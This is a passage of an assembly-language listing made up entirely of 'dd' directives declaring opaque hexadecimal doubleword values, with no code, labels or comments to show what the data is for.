		dd 0C00C4FD9h, 0BA003AF2h, 547A14E6h, 50190641h, 7C4AF8B4h
		dd 519A0AA8h, 0B42CDAh,	5E7DFF7Ah, 8F1FF1E9h, 80A8CFD0h
		dd 7914F215h, 1DD818A8h, 0C17B791h, 1ABEDF0Eh, 0D0107B8h
		dd 91A69B62h, 81876A71h, 11CD3D0h, 60F9E1D4h, 0A40062AAh
		dd 0F263C885h, 7FAF5D4Dh, 0C9140046h, 0D55B897h, 41E4FBE8h
		dd 789AF218h, 83171279h, 59814AA0h, 58447700h, 9C29BAC1h
		dd 1E371C08h, 28220116h, 8027F40Ch, 354A0A74h, 20E148h
		dd 1F96C7F9h, 0F623E8BEh, 0C6062BB8h, 525EB158h, 6A3707E0h
		dd 0D00BCF06h, 0F5FA92CDh, 9D001D79h, 0A16E5A4Bh, 250690Dh
		dd 6F3996EBh, 7403A05h,	97B808B6h, 3C38CE26h, 0D380A79Ch
		dd 0D670DCCFh, 2456002Eh, 40B9834h, 2D500DCAh, 9600B3B8h
		dd 72EA6B87h, 1432903Ch, 9C582BACh, 7CF6007Eh, 8C83828Eh
		dd 771FF197h, 6C81620Eh, 0ABCADBDCh, 287BD0h, 7A076E55h
		dd 790A874Ah, 9D818000h, 72B11592h, 0C471001Fh,	4BF13784h
		dd 3602A618h, 0E0176038h, 7731604Fh, 0C0D5002Dh, 6203206Ch
		dd 0E4009939h, 1F86DE9Bh, 0D463D2h, 93348DD1h, 4CCDF892h
		dd 0D312FD00h, 6B3D0E85h, 1CA2000Bh, 5492C658h,	697AB518h
		dd 0F500FDEAh, 43B5F39h, 0FA4D644h, 125BAFBDh, 1794228Ah
		dd 77480FF3h, 18205109h, 8BDE9F9Eh, 0DB78021Eh,	877305CEh
		dd 6300DF07h, 0CB40C3E2h, 3482B519h, 7CE146E8h,	1089F82Eh
		dd 0C8D3DCFBh, 0B5DE001h, 0A7F8F787h, 3E6A60h, 851AE5DDh
		dd 6AA8FAC9h, 0C6902303h, 0F0E0B2ABh, 98842h, 0F51CF7D9h
		dd 8B7552A0h, 92C8A38h,	3254F6h, 24842044h, 589A0062h
		dd 3ABAF8F0h, 10045A4h,	1CF19052h, 0A4BAAAFh, 2E3603AEh
		dd 0E71500F4h, 0FA80DA97h, 3D23F3Fh, 3A8A82C3h,	0C7F8D0B0h
		dd 42B70059h, 2C944674h, 19C0066Bh, 0F34C0E7Ch,	0A6E8D9h
		dd 2685C62Dh, 0D1D5A876h, 0DA1D2EFEh, 803FC9F1h, 724B5392h
		dd 0F1301C4h, 12B165F7h, 0DD342620h, 712498BCh,	0F0368BAh
		dd 5BEF6B4h, 63E55728h,	77C0FE12h, 382895Fh, 49045ABFh
		dd 5E0A6F4h, 0C2023452h, 75BBD80Eh, 0A5B4E0F6h,	92F900DEh
		dd 53FC1F04h, 19009F05h, 552D9771h, 788CF07Ah, 92E5014Eh
		dd 87EDF4E9h, 0C0FFD949h, 93003BA5h, 8389DCAEh,	0EEA8BA67h
		dd 5AB3005Dh, 90B42596h, 57006FA5h, 5C3DC56Ah, 0E0AFD1E3h
		dd 40B007C3h, 505547C7h, 1A434EB3h, 1741A80Ch, 7EE15A2Bh
		dd 2FEF2E5Eh, 7E1E07D4h, 80DB545Ch, 44EB7ADh, 8E072A0Eh
		dd 0C5498589h, 0B6B863C0h, 0A1630B26h, 8C001DC7h, 3CDF523Dh
		dd 4C744A1Eh, 50622E80h, 8A145Bh, 4EFBFAF5h, 7CEDE899h
		dd 0FD3A847Ah, 80708061h, 0AAA35BFEh, 810A3934h, 1F023100h
		dd 0CB735891h, 0D1674900h, 4AF66462h, 0D3B70028h, 25E9996h
		dd 3E174D82h, 0F307D597h, 0B840839Bh, 0F21CB04h, 170FA4F6h
		dd 776D2360h, 0EF074FDFh, 224B1F56h, 0F90DCFA0h, 1B9A28ABh
		dd 473C00F0h, 0F1D7C5F8h, 463977A8h, 0FE00767Eh, 0A03E50AAh
		dd 3DDD623Ch, 8C3D0223h, 98938E82h, 9380316Bh, 73D6DB0Ch
		dd 0CEF8B001h, 0CBF07412h, 93F31C28h, 0DA1D54D0h, 0ED901140h
		dd 2E8D75E0h, 40C00E41h, 0A32530D3h, 0AA07ECBAh, 19B8E93Ah
		dd 0C5218Ch, 0CFDB0314h, 0CC0E5AB6h, 0B9D15100h, 52B20C49h
		dd 255B1EF1h, 0FD97C954h, 37681040h, 5F78C095h,	81C52E3Dh
		dd 15390056h, 7AFA64DDh
		dd 0B85930F3h, 0F1039200h, 0C7EC0CD0h, 64903Dh,	0D27B19D3h
		dd 8A97404Ch, 0AAE8C30Fh, 34D4DE65h, 0C52074h, 5374F135h
		dd 31FD7E2Fh, 85878300h, 338FBF89h, 0B91D0F10h,	146040F7h
		dd 43C20778h, 80B6263Ah, 6AC9312Fh, 0E2DEE01Ch,	0ECC3000Ch
		dd 0FCEF786Bh, 0A20BFA88h, 820324ADh, 60A38BA5h, 1FDD498h
		dd 0E8C51B42h, 30A4C894h, 4F00F3FCh, 8F16C2ABh,	0C7D32Ah
		dd 36F0C01h, 14D266E4h,	3ECEBF00h, 0CD2EDEF6h, 767CFCF4h
		dd 0E1EC0027h, 41F520EAh, 0D0B83095h, 9FF04316h, 8FEE8000h
		dd 1F0398E9h, 15F53Bh, 0C33E36C5h, 0DE004BD5h, 97137CE3h
		dd 7E2FF414h, 0F74CAh, 0B0120DBBh, 5284DF83h, 5324E5Ch
		dd 16F72EEDh, 3A9FA000h, 150CEAh, 0E03DF82Ah, 73B23082h
		dd 0FA3EA0B0h, 4056002Ch, 9C7BEDC1h, 24CA1615h,	3F8801BBh
		dd 0F0E046B8h, 0C7032361h, 0FA813428h, 40D5A842h, 0D8070091h
		dd 0EFCB7CDDh, 8800FF95h, 52F1C119h, 94813B0Fh,	0F64A0F40h
		dd 0E757CEA0h, 0C848E90Dh, 0F5690064h, 92B96BDBh, 5B7004Bh
		dd 26A0B4F8h, 0EC00B3E2h, 0C6865E0h, 0EABDD4Fh,	74BDAD82h
		dd 3D3CC8C0h, 4001F9E2h, 484B6E0Fh, 0DC20246Ah,	5EF100D6h
		dd 2FB1E4E6h, 391C585Ah, 0FB4CA2h, 99B987B0h, 0BE5FFCEh
		dd 2ED4D0B2h, 0D3E89C83h, 2D5B73EFh, 0FD391000h, 0E9BCA811h
		dd 24B09Bh, 0A635509Fh,	0F94908FCh, 0C5FB1801h,	78C63685h
		dd 0AA0ED4h, 0C9023D53h, 73DD4915h, 99BD6702h, 43D324D7h
		dd 0D6E6D0C5h, 93380016h, 6B8E1DD1h, 0EC24322Ah, 0AE1E7404h
		dd 0CF44F80h, 5B9D083h,	20086424h, 49CC9079h, 0D717C3C9h
		dd 0F84043CAh, 0E51177FBh, 340E894h, 4A5BA902h,	0A8D34427h
		dd 399E7017h, 13378840h, 0FB2A312h, 7A1AEC84h, 67D8C1E0h
		dd 0F10716A2h, 0D0503F9Ch, 50DF4522h, 0E9662C84h, 1BB30372h
		dd 72F03039h, 9100DDB4h, 74E8A293h, 580FA0D2h, 8100F8AFh
		dd 8EF030BFh, 580E4B6Fh, 2067B510h, 1EC7526Dh, 0EA76FCh
		dd 3128012Ch, 0C14F06C2h, 85999800h, 148BCD24h,	16FDE810h
		dd 3034B7h, 0B277E0DCh,	80E37C9h, 76EE39Dh, 87208879h
		dd 0CFCD91h, 0C7519C2Ch, 2A7242C6h, 0D2559D0Fh,	4518C05Ch
		dd 9F8AE1h, 21CCFE93h, 380F2C64h, 0DCAF0200h, 3195E6DEh
		dd 238B8FFh, 0FD830440h, 3C6A2B66h, 7512FCE8h, 0F2B7CE3Bh
		dd 4B064102h, 0C8E0881Bh, 25BCCCFBh, 0E000EB83h, 95D59665h
		dd 0DEFAE100h, 7D6081EEh, 1B8D00D9h, 0A32C888Eh, 4900292Eh
		dd 0CEF584E0h, 5C1CB0h,	0F11D58Dh, 7CDCB621h, 4700CBF4h
		dd 245241F1h, 0C02FBDDBh, 43E4FC60h, 9F1CC0D3h,	328005E5h
		dd 0D1FE47C3h, 762001E6h, 0C1B13C85h, 0F25FE4CFh, 0D15C9630h
		dd 0D34AB0h, 7F8C1B71h,	9F23574Eh, 3D9BF004h, 62D0A18Bh
		dd 2ACCB0h, 0D54B017Eh,	0B2469E60h, 0B6D89400h,	323AC1Dh
		dd 0BF7D0080h, 0D96DD7BDh, 150991DCh, 60CF891Bh, 0EEDDF7E8h
		dd 9BF12A33h, 52311D8Ch, 70ED406Ch, 3B66E6C4h, 8F254C92h
		dd 0D41C10h, 95311D8Bh,	9B04645Ah, 0F1B2CF09h, 54C060EEh
		dd 0CD13ACCh, 436370Eh,	34B2F5E0h, 30E8AF7Dh, 9E0081E0h
		dd 821D1716h, 0A7CD05h,	9CCBCC43h, 14D530FCh, 9058E100h
		dd 0C2F7116Fh, 0DC9D006Dh, 0B2B05240h, 0D800865Fh, 0BA8ABEAh
		dd 2EE5B5C7h, 9B41F22h,	0BC80E146h, 0AA6A1317h,	0CD00BE78h
		dd 0F802B775h, 1157EEDh, 0BB5C500Fh, 0F4B96D91h, 74004B6Ch
		dd 849C44E9h, 0AC8ADDh,	3940C093h, 4D9F2082h, 41D89E02h
		dd 49C9C5CCh, 0F02A97DCh, 502DE8AFh, 92D805h, 45A76D09h
		dd 251B1FFAh, 70828501h, 0F85F1DA9h, 386E8240h,	52290032h
		dd 4115D52Dh, 0A600EA5Ah, 7E9EB177h, 0D8AA9Ch, 61603AF5h
		dd 0FC441FFDh, 8D6AA803h, 80B18284h, 941DCCF6h,	807C1CB8h
		dd 51F185DEh, 0D84C82C8h, 89AC0020h, 358AFB1h, 0B9DB00C9h
		dd 920B71DFh, 70008196h, 3847A60Dh, 3C6DE94Ch, 4A0E56h
		dd 3D52D630h, 38B063A5h, 70DDD000h, 7CB77BC2h, 54340E73h
		dd 0E2E16B45h, 0C4443755h, 89008E26h, 8BFA0ECDh, 7DC9408Fh
		dd 3097073h, 43C3C161h,	100042E9h, 6B552D99h, 1D12CA1Dh
		dd 12A6113Ch, 0CCC800F1h, 24E8BAE0h, 0BC98E73Eh, 0EBD9040Eh
		dd 0CCA0BC6Eh, 0A1F84437h, 592A9E00h, 14562105h, 871589Fh
		dd 0DF06DB00h, 0EE57518Eh, 0A104F4E0h, 484A9101h, 0B3B02C80h
		dd 3060104h, 1C3EFDC6h,	60C2DAAh, 9E35281Bh, 84130028h
		dd 3F95BE4Ah, 1400BF55h, 91E1C1AEh, 0E8FEB1A5h,	4264000Dh
		dd 419E3DB4h, 0AF777A55h, 89DA0B01h, 0A3C4B1A6h, 148A7470h
		dd 0ED0C8F6Ch, 24F1A800h, 0EABE9D3Eh, 59359900h, 7C16EE6h
		dd 0BA502CC8h, 0B9E0059h, 887CA2FEh, 55A4A61Eh,	9895CCC0h
		dd 413329h, 773C3483h, 62CDB261h, 87637502h, 0C0E83B5Dh
		dd 0F9C278h, 92BFD119h,	9EE4CEE6h, 97BE3Ah, 0A725CF3Dh
		dd 773A89h, 4451ADC5h, 3BA11921h, 0D33E8E07h, 9C50BB3Fh
		dd 4A3D73Dh, 516B1045h,	667DFCA0h, 7D4EBA2h, 0FF570F76h
		dd 0A0E9A04Dh, 910141A9h, 53D92203h, 0F440C54Eh, 0C09818h
		dd 6E050EB0h, 4445CDD1h, 0D9156301h, 3AC3BA82h,	99FEF8h
		dd 0E4E77DF8h, 2B196DBEh, 9B011DE0h, 0AF23EC62h, 93CC8368h
		dd 0EF3C0199h, 0AB50ACFFh, 0F998C38Dh, 0A9031BE7h, 9745476Eh
		dd 0F3BCF8CDh, 17310050h, 6C748466h, 0D3001E3Ah, 377F1ACBh
		dd 0DA22A9h, 22DB75Ch, 24A7AE23h, 2762A301h, 17E3AC3Ah
		dd 0CE1B6830h, 9B83F208h, 9118ABD1h, 0A3086ECEh, 0F0A733E3h
		dd 0FAA08F28h, 18CC7B6Fh, 2F4381Dh, 0DAB3D9CAh,	0E7DCD492h
		dd 0A28D3700h, 1C07D35h, 4708DC24h, 0CD7C6D6Ch,	0A261819Fh
		dd 0A76F7E12h, 34170840h, 28F400DFh, 0B0C29FFBh, 10A00F65h
		dd 80FDE98h, 40AC2C8Dh,	5DB47D3Dh, 0BF48002Bh, 3E10323Bh
		dd 400F05BBh, 6091F5B0h, 0C547244Dh, 0C7A8002Fh, 269B8B96h
		dd 6A00C031h, 7A14D043h, 3290A0h, 2D5A4B09h, 0B29D9E7Bh
		dd 0A1106700h, 0DBF03E2h, 63756Ah, 8B9E91Fh, 0F3645CE5h
		dd 6FAACD00h, 496DAA3h,	4E330FC2h, 0CF4F9490h, 0B98F3DA6h
		dd 100F0300h, 8B6D3B0Ch, 61793050h, 0E57F2418h,	9001C07Ah
		dd 9BA82A27h, 0D0402581h, 5761ECh, 0D7300E83h, 0FABCD54Fh
		dd 2B2A920Fh, 18034C47h, 0F42807E7h, 0C3A8810Dh, 0C3C51C78h
		dd 5FC08EBCh, 190FE298h, 0B511A93Eh, 512900FCh,	0D14D95A5h
		dd 36320398h, 48D34759h, 27A122C0h, 0FB8D550h, 62A3613Ch
		dd 88115018h, 1680C4E2h, 25981E47h, 4968C0A6h, 3391357h
		dd 0CB89D703h, 184475Eh, 2459E5B9h, 834511A8h, 0DB514281h
		dd 0FB5800FAh, 0ED6A58B8h, 61320289h, 402E19B7h, 0AFA8C7h
		dd 1A13FB91h, 86E78C0Fh, 34019075h, 0DB4DCF28h,	50254E56h
		dd 0B06198EDh, 0D59D4800h, 5F10843Ch, 0E306BE80h, 0C8B34FEAh
		dd 9A914619h, 36DA83E8h, 0C0CD0521h, 28E86C84h,	30C38624h
		dd 1F575D03h, 38681846h, 9D5F1A3h, 0EDC43C00h, 0C630B99h
		dd 0CB8493Eh, 53C85D00h, 0BF94E79Ch, 0B0731E00h, 6A7C4D6Dh
		dd 7B561BFEh, 61D0E1FDh, 9A7AC05Bh, 7D645E00h, 9A795ADh
		dd 0E096B830h, 6031F01h, 6A5F4004h, 0FA532CE4h,	83EC6000h
		dd 8CD88D4Fh, 56E301F5h, 4CD2B038h, 4861F185h, 2B0084A0h
		dd 738B98DCh, 9A949Dh, 0D814765Dh, 0B94779A4h, 99F0FF05h
		dd 9040D12Ah, 48152281h
		dd 0FA2E8DCh, 6091DD85h, 0E5D80757h, 0B984204Dh, 5A036BA9h
		dd 1ABA99E4h, 0A03BE9FCh, 67378050h, 14520F58h,	39007F50h
		dd 228F551Eh, 2AEF3807h, 70606636h, 16C3771h, 218A4063h
		dd 82F67AC8h, 6A0508B9h, 0EE2460C1h, 6E93002Dh,	21F8469Ch
		dd 0AD1D9461h, 8880AA7Dh, 8B99524Bh, 0A4513392h, 54F12481h
		dd 6FD180D2h, 9EC6B5D4h, 2882092Eh, 4C001D3Dh, 358E5B2Bh
		dd 67A40700h, 0FB509D20h, 1555007Bh, 0EEDF5390h, 71008431h
		dd 655C0FE3h, 7515976h,	0B17C41FFh, 7208FCE6h, 3E2721C0h
		dd 0B982059h, 5623FB6Ch, 67066683h, 45B108E0h, 0BC0FE400h
		dd 0DD30A92Fh, 1B180D39h, 0E90801D5h, 15488066h, 82FA817h
		dd 0E7B300BAh, 0DEC88AB6h, 8AC3BCE1h, 0C81FD6E4h, 7119B01h
		dd 0A66E0F2h, 127940D1h, 0B500EE28h, 96FE1767h,	0C6F62726h
		dd 20D97B08h, 0B7459301h, 0E302D5E9h, 7775DCh, 7D34619h
		dd 70C06D3Ch, 0C8119A00h, 3437394Fh, 4841CDEh, 0F3B180BAh
		dd 478D784Ch, 2B1C2272h, 0F440D301h, 0F817463Bh, 55380607h
		dd 90C81277h, 57A96200h, 0D77435A7h, 0B6134C63h, 59382C30h
		dd 850122DAh, 231210B1h, 18803CFBh, 0C0669B8Ah,	48C07A35h
		dd 3AD64E40h, 0A85E6361h, 8363659h, 2EA985h, 137F76D7h
		dd 0DBAEA51Dh, 1C702B60h, 264ADCh, 0E3F896E0h, 9B023898h
		dd 0C100DBE8h, 0F361830Bh, 78510Dh, 0D571FED0h,	0E1F53D65h
		dd 0AE82CB03h, 0F869099Ch, 5820CCh, 4BB00642h, 0E10DC4DBh
		dd 6F00D4F8h, 14959648h, 3BD83A61h, 0E814ABAh, 0B77E8016h
		dd 0C055EC77h, 79232A00h, 0FC2015D5h, 4AE10F50h, 281943AAh
		dd 44B908BBh, 0FB44041Fh, 511064FDh, 8265208Fh,	8088178h
		dd 291A62F6h, 45007F13h, 1923BEAh, 1FC59BA6h, 0FCE8046Bh
		dd 0E61FEC38h, 670EAB7Ch, 0F299400Dh, 0E6DB9CE1h, 0F68B048h
		dd 0C83EE5E0h, 36AA7A80h, 68019AD5h, 0E4A5C4D3h, 0A4809E54h
		dd 4030ABF9h, 52003A5Ah, 0A56C076Bh, 48E5FDDAh,	600EE56h
		dd 7D3BD7F1h, 3E055712h, 969F0AABh, 2A682C06h, 0DB60771h
		dd 90909A1Bh, 0B767DAD9h, 2B338707h, 0A3E080F4h, 1C5F1F9Bh
		dd 0C0FB6295h, 7325F054h, 5A170579h, 0EA00A63Dh, 0B44668ACh
		dd 43CF0035h, 8911C95Bh, 0F90012E7h, 0DFB2553h,	67D1441h
		dd 6290EB9Dh, 3D12100Eh, 30003865h, 0B2E5155h, 0BE8D0066h
		dd 0E728EF4Bh, 0D9009609h, 2DDA23BAh, 5B8B65h, 0FAA8D3A0h
		dd 7E79D7C7h, 657E438h,	0B0A40F46h, 40D64810h, 8C7AE100h
		dd 0F37C079Dh, 7B029F00h, 0AEE46E15h, 6DC0F195h, 54111CCAh
		dd 4285030Dh, 0D7E872B8h, 0F60038EBh, 83B5913Fh, 0FE9BC5h
		dd 0B3E71B11h, 0F4529845h, 2243DC00h, 0D4DD7C35h, 3B7C16h
		dd 2362E471h, 0B46C5E77h, 2F9C5C00h, 2BB16814h,	8D7F078Fh
		dd 8033D3E1h, 1D0121C4h, 0CA84BE03h, 98AB39ECh,	3D19F3Ah
		dd 198B3878h, 41E03F4Ah, 3E1DEF58h, 807E75B3h, 809EF59Ah
		dd 536020h, 0B82ED57Bh,	591440B6h, 0EC1DF97Dh, 5BC0D1A1h
		dd 0DA1D41E1h, 0C8B1000Eh, 0B8AD4674h, 240A4F91h, 947C7D99h
		dd 0C279E60Ch, 35420004h, 6423D263h, 0BF000672h, 39D7F2A1h
		dd 24E05Eh, 0C31DE751h,	0CD4E02C9h, 0AEE2BE00h,	16E64B8Fh
		dd 0BC7C96h, 81D75080h,	0E27252C2h, 4B005BE0h, 0F7249A1Dh
		dd 76BCCA9h, 5FE0E3BDh,	5695E07Fh, 0D8002F44h, 0D2206CF1h
		dd 3A70ABAh, 0B7593B1Dh, 221D3832h, 0A69F9F60h,	0A83D64C1h
		dd 7AC8111Dh, 730C0054h, 28C3C16Dh, 22005EB4h, 3C7D21C0h
		dd 0DA3AC5h, 0C24F43F9h, 0EA7F8218h, 96008E71h,	80EDEEBFh
		dd 3F618C40h, 3CF8D544h, 0F1834839h, 31C77552h,	34131800h
		dd 84B12F16h, 0F7FF0070h, 2415769Fh, 0E00F5B5Fh, 80596CEEh
		dd 0B44D8BF9h, 1A0A1F54h, 0C028DE52h, 0B93CC61h, 7500D7CBh
		dd 4C824BCAh, 607ED584h, 13FFC8F6h, 7D4C8733h, 0A2E0791h
		dd 0EAD705E4h, 0CBEE7530h, 828C0F9h, 0A54310E6h, 0E903B77Ah
		dd 296F096Dh, 9A189891h, 88D80062h, 923C7A03h, 0E1006573h
		dd 0F3CF0BB0h, 0EC8FD7h, 0F60FCA5Bh, 51089C06h,	0E1D57F6h
		dd 0AE40175Eh, 38ABE69Fh, 122A0088h, 0D96789B5h, 7E01C1F8h
		dd 8C41034Bh, 16AEFDBh,	3B4F3870h, 32B1C09Bh, 0FEEC33Bh
		dd 0A071F103h, 2884B3BBh, 86E0067h, 0EFF43924h,	0B39783Dh
		dd 0B4DC121Ch, 66653040h, 80A58904h, 0CD009721h, 3E334232h
		dd 12D03Dh, 961B7FA1h, 40D05C6h, 707303Dh, 137C7391h, 75A4AB30h
		dd 7B4A0F2Dh, 7D607947h, 0D00B4416h, 0C86B900Eh, 5CDFE254h
		dd 5D48682h, 0F04707D2h, 301E715Eh, 85E73CACh, 9A392A26h
		dd 51BD8C00h, 0B4D84Ch,	90AD69C7h, 9EC89A96h, 0A019BF07h
		dd 4DF0413Ah, 815F1Ch, 88032137h, 0B5AFC615h, 3600E679h
		dd 87D04479h, 0F60EC0h,	9289A55Fh, 7A41FEEh, 4802C190h
		dd 523F4059h, 450E60BFh, 0B30E0058h, 1DA9096Ah,	8F078348h
		dd 0E343E73Dh, 19DB1570h, 0EBFF1DA6h, 265180B8h, 8688AE6h
		dd 67F61A00h, 462BCF69h, 73D0089h, 72CDD1D0h, 3000B473h
		dd 317EBEA4h, 1175D3h, 14107BA0h, 0F6AE9C91h, 6C908BE2h
		dd 85CF6D00h, 5BD3E721h, 979B1DF0h, 94AA4ED2h, 0A15205h
		dd 191C78D4h, 0BD005CA2h, 53E17960h, 0D6CE06h, 0D115F6ABh
		dd 6518BC2Fh, 106EC901h, 0FA775D13h, 2F8AAECh, 0A95FDC51h
		dd 0B0402EC7h, 0E902B834h, 37149E4Dh, 39407D35h, 4C90B1A3h
		dd 18765E01h, 0C4A0471h, 6F6348D0h, 41461EA6h, 2600905Bh
		dd 73F79D1Dh, 393B7FCAh, 0F2004757h, 32F5A227h,	8224D43Ch
		dd 8008025h, 9473553Fh,	427003Eh, 0D405FA78h, 5000CF74h
		dd 8FC0897Ch, 0F4187DF6h, 0C9F701DEh, 0B268C552h, 24BFC437h
		dd 0BDD5B300h, 0FB48446Dh, 87E4FEh, 0CA74CB9Fh,	602E85BFh
		dd 10B31D30h, 359233Ch,	0CC118AA8h, 91A8E5F9h, 3778C9EBh
		dd 88F04D05h, 33C0AF26h, 0E4B5ACh, 71082B9Bh, 0C06B13EEh
		dd 1943EB31h, 77700E72h, 88B000F5h, 959934F0h, 0E71EAD65h
		dd 0A8A8EF7Bh, 939ADA3Fh, 71C79B3h, 9743FEC0h, 6C5F3Bh
		dd 3AD4ED5Eh, 6854CA1Ch, 79270A00h, 358B34D2h, 5DE4006Fh
		dd 1F9F65BCh, 9200CB25h, 0F9468FE0h, 6118CAA6h,	358D10B8h
		dd 2E94C4FCh, 0BD007B7Bh, 614FC350h, 7E1D337h, 0D55C84F7h
		dd 721A808Bh, 38004B3Ch, 958D23Fh, 3AEC2924h, 0D4036EF2h
		dd 0F9C594A5h, 0B5BD8FC0h, 0EED97801h, 1BC05976h, 3862F0h
		dd 45E664DEh, 0AC5FBD1Dh, 3F7C940Ch, 1DF9C44Ah,	80026358h
		dd 64623709h, 0A7077544h, 0C61B15EBh, 2E6610A0h, 0E72600C5h
		dd 0D081FDE9h, 32054A8Dh, 0F0DB19ECh, 2840EB1Ch, 900493DDh
		dd 6EB200DFh, 0D7138A2h, 0E61E467Fh, 0F5805E42h, 0C245BF53h
		dd 86C10098h, 0C4EE3E93h, 9D019ED9h, 34A8C0A6h,	23D4CA6Fh
		dd 786BFE18h, 617E0324h, 0EC8EE686h, 7CD73CE0h,	8C68A500h
		dd 99515D5Ah, 0F22200A6h, 1BB6201Eh, 0F5004724h, 0D09A67C8h
		dd 0BA0BEEAh, 539335DBh, 960A6700h, 280E1F21h, 0CF671114h
		dd 0D5C6C0C9h, 0F151C7Ah, 0C8DAD3EFh, 50AA3E80h, 0AF007D98h
		dd 8AFE53F0h, 49CD151h,	3F9DDDFFh, 627E800Ch, 6372A416h
		dd 7B86D400h, 386A87FCh, 761B00C3h, 0AA89313Ch,	6100D159h
		dd 0C4D3ED42h, 9203D5Dh, 8810CD4h, 0B2242E7Ch, 0A42D5001h
		dd 0ED4FC4Eh, 32D30FD1h, 44E0BB29h, 8CDD8FE1h, 75EF7A00h
		dd 18A44542h
		dd 0E02390F4h, 9F8A0094h, 3504F678h, 0D40060C6h, 0F7D2D324h
		dd 50348D4Fh, 7AE4A8ADh, 0B9EA186Ah, 0DFE02806h, 980D300h
		dd 2C9CBF01h, 292A00D1h, 0A056774Ch, 7E049B9Fh,	0D3187C37h
		dd 0CD42FEC0h, 0AFBF063Ah, 98C54A75h, 1F21E3Eh,	1AB88D61h
		dd 0ECF191FBh, 0DFB6E0ECh, 149C4020h, 9BB1B0Dh,	68BD88CDh
		dd 5EEC57EDh, 8939006Bh, 4DF9118Bh, 6277E621h, 0C02B451Fh
		dd 4A8FFEC0h, 0F0A80ECCh, 295300F8h, 4986E344h,	0C3F6A6BBh
		dd 9E002172h, 3E73A006h, 37ADAC4h, 84DC5FABh, 0C1AD6D23h
		dd 0C8314B18h, 8C003FE4h, 99C7F12Ch, 0EA7C1BC5h, 0E0440389h
		dd 172EB619h, 0AD2C43B8h, 8D13F612h, 25B17900h,	4D541Ah
		dd 64C9DB2Ah, 0D436EAEh, 0F60FC7E2h, 0C03DA7B0h, 425FB3D7h
		dd 789B07F8h, 0E03A0AE4h, 31D988CFh, 29004873h,	0D6DE188Ch
		dd 0E513DB4h, 9F054752h, 0EFFC62E0h, 0A9609313h, 0F7A01EC0h
		dd 2AD805E8h, 8054D1F5h, 0D7505228h, 7BD0EE00h,	0C362B9A8h
		dd 73751774h, 0E00AF8Dh, 20E4C9B8h, 0C2E703F9h,	65910F26h
		dd 0A90B4000h, 828E5AFEh, 3AA1007Dh, 6F775BA6h,	0FA00CC72h
		dd 0BD62CB03h, 5A17C4h,	3C67B4D5h, 81E21283h, 105BEA0Fh
		dd 0A308A0B2h, 3E032065h, 9A0084F5h, 0C1393066h, 2F006DC5h
		dd 0AAF96BACh, 48D171h,	0BC7D4DC7h, 73CD6E3Dh, 655F5D00h
		dd 0D2AD1E27h, 2191001Ah, 0AE4FB5CFh, 9700779Bh, 129D189Ah
		dd 60BF9h, 5456111Ch, 0E879DC2Dh, 0C986801Ch, 72703800h
		dd 3F6FF64h, 0EFFEC0EDh, 85882B76h, 0E47DF5F0h,	266E5700h
		dd 0C944863Bh, 9D600F63h, 26BE4EC2h, 0C7AB0069h, 0E287B7D2h
		dd 7F3CDE48h, 0BC04F00h, 2E7C60AEh, 239201B9h, 9330D4A8h
		dd 6355204Ch, 5F83EC1Dh, 0B8D832C0h, 378B0CFh, 31464513h
		dd 75C849B3h, 0E75CFA62h, 6BB04006h, 23E67D00h,	0F9A3420Bh
		dd 62A91D1Ah, 8D3A4079h, 3EE5531Eh, 0B9F3DA00h,	867D348Ah
		dd 0CF4A0D8h, 6C93004Eh, 0F1EACD72h, 0FC01882Bh, 5B075C57h
		dd 0E6F4253Eh, 63B6014Fh, 94CD3AFEh, 1FF84029h,	0D81FC175h
		dd 0A0C6E6E1h, 1826C0h,	9E4BB15Bh, 6420B318h, 56051A02h
		dd 8141C189h, 0C5285510h, 1948B8E0h, 0D2630D32h, 0D6ABCC8Bh
		dd 3DA6FD0Fh, 1974008Ch, 2F4443h, 0A0FA9AE6h, 0CBBCD1A5h
		dd 98310600h, 0FF3B5118h, 0AA75F8h, 8416EF47h, 228C6683h
		dd 0BF7BA100h, 0F31E5CD3h, 0FA270034h, 3C433F5Dh, 2000E57Ah
		dd 6A456F0Ch, 846D3Eh, 315BD7B2h, 1471497h, 4BE82200h
		dd 9D4A46B5h, 0F1AE00E0h, 0E9559ED1h, 21007140h, 2991345Eh
		dd 5A7B1h, 0FDDAC766h, 1A9641DCh, 83EC400h, 0F7D1797Bh
		dd 4A9100ACh, 5D21CB5Bh, 7F033BC2h, 0AF1C1501h,	9FE8C853h
		dd 0DFDE0089h, 405DBADh, 9048C439h, 0D46B00E3h,	412056B1h
		dd 35873A3h, 7EF284B0h,	7DA81123h, 44908C24h, 0F1400600h
		dd 7C622B92h, 7427E51h,	0A4AA4BDEh, 0AFDF074Ah,	53A56A80h
		dd 0F800D0F1h, 5FACD55Dh, 0E90654h, 0C750F428h,	0C9EFC63h
		dd 76B2B114h, 0BE3900DCh, 3C10EA7Bh, 0D6B7002Eh, 0CAA0C41Dh
		dd 0DEE6E9FBh, 4E28A860h, 0FC6B945Ah, 6DB100C7h, 8DD8D0B4h
		dd 0FC004340h, 0D4ACF216h, 1825DF8Eh, 883E77CDh, 0F30E2093h
		dd 7879C08Dh, 176F1A48h, 0AFD22Bh, 63B415D0h, 5A01E7BCh
		dd 0E1C8746Ch, 0AEE42031h, 0EA2C0055h, 328BAFEBh, 0FB003019h
		dd 0EF5EDE5Fh, 3DADE7BBh, 1818439h, 49A10C48h, 24AC2079h
		dd 0E31EF471h, 4700FE58h, 0F53D5E5Dh, 0DEF600E7h, 3211433Eh
		dd 42EE9356h, 0A0A8A169h, 6316CC24h, 71800E8Bh,	62804195h
		dd 8A89303Ch, 2028B662h, 0C8DC8126h, 0D08090CEh, 0C236BF16h
		dd 0FC305DE8h, 8AD04015h, 0D3E2D5h, 9AAA74E4h, 579F5583h
		dd 0F099A800h, 13A5BB3h, 6B6C28B7h, 63E02CF0h, 4D9F0048h
		dd 1677E296h, 7C41D80Fh, 718EA385h, 0EC800038h,	0DDA36550h
		dd 4A3D95B6h, 2E3F9361h, 9E8B4C00h, 313E50Dh, 0ABDFF9A2h
		dd 60DEBFBDh, 6464C826h, 1040EF44h, 0BB158F37h,	69FE0500h
		dd 7891CD61h, 174F008Ah, 2D0EF0Fh, 9D14E034h, 0FCC51Ah
		dd 0E753B7FFh, 195140C8h, 603A81CCh, 12EAE8BFh,	38FA9E00h
		dd 1EB5D184h, 0E8C51765h, 4C5F01B7h, 20D07E4Eh,	670342AEh
		dd 0CC7A9C3Bh, 39CAB0F2h, 436B00C6h, 0F7C3A64h,	9001E4D0h
		dd 0D9505474h, 408E37A1h, 0ECE0B6F7h, 0FDC42BE0h, 0DCE4D500h
